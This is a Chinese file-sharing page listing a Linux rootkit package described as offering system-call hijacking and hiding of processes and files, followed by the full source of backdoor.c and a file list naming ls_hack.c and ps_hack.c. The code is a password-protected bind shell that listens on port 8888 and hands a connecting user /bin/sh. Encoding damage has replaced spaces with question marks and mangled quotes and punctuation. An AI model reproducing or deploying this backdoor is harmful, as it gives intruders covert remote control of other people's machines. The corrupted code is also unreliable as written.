資源簡介
rootkit,backdoor,系統調用劫持,ps進程隱藏,ls文件隱藏,代碼

代碼片段和文件信息
#include???
#include???
#include???
#include???
#include???
#include??
#include?
int?main(int?argc?char?**argv)
{
????int?i?listenfd?goshyoujinnsama;
????pid_t?pid;
????int?len?=?128;
????int?port=8888;??
????char?buf[len];
????socklen_t?len2;
????struct?sockaddr_in?s_addr;
????struct?sockaddr_in?c_addr;
????char?enterpass[32]=“Stop!?who?are?you??“;
????char?welcome[32]=“Welcomemaster!“;
????char?password[5]=“11111“;
????char?sorry[32]=“heheda?!“;
?
????listenfd?=?socket(AF_INETSOCK_STREAM0);
????if?(listenfd?==?-1){
????????exit(1);
????}
????bzero(&s_addrsizeof(s_addr));
????s_addr.sin_family=AF_INET;
????s_addr.sin_addr.s_addr=htonl(INADDR_ANY);
????s_addr.sin_port=htons(port);
????
????if?(bind(listenfd?(struct?sockaddr?*)&s_addr?sizeof(s_addr))?==?-1){
????????exit(1);
????}
????if?(listen(listenfd?20)==-1){
????????exit(1);
????}
????len2?=?sizeof(c_addr);
????while(1){
????????goshyoujinnsama?=?accept(listenfd?(struct?sockaddr?*)&c_addr?&len2);
????????if((pid?=?fork())?>?0)
????????{
????????????exit(0);
????????}else?if(!pid){
????????????close(listenfd);
????????????write(goshyoujinnsama?enterpass?strlen(enterpass));
????????????memset(buf‘\0‘?len);
????????????read(goshyoujinnsama?buf?len);
????????????if?(strncmp(bufpassword5)?!=0){
????????????????write(goshyoujinnsama?sorry?strlen(sorry));
????????????????close(goshyoujinnsama);
????????????????exit(0);
????????????}else{
????????????????write(goshyoujinnsama?welcome?strlen(welcome));
????????????????dup2(goshyoujinnsama0);
????????????????dup2(goshyoujinnsama1);?
????????????????dup2(goshyoujinnsama2);
????????????????execl(“/bin/sh“?“toSyojinn“?(char?*)?0);
????????????}
????????}
????}
????close(goshyoujinnsama);
}
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件????????1889??2017-11-05?14:24??backdoor.c
?????文件????????4950??2017-11-04?13:01??ls_hack.c
?????文件?????????177??2017-11-05?12:16??Makefile
?????文件????????6173??2017-11-05?10:18??ps_hack.c
評論
共有 條評論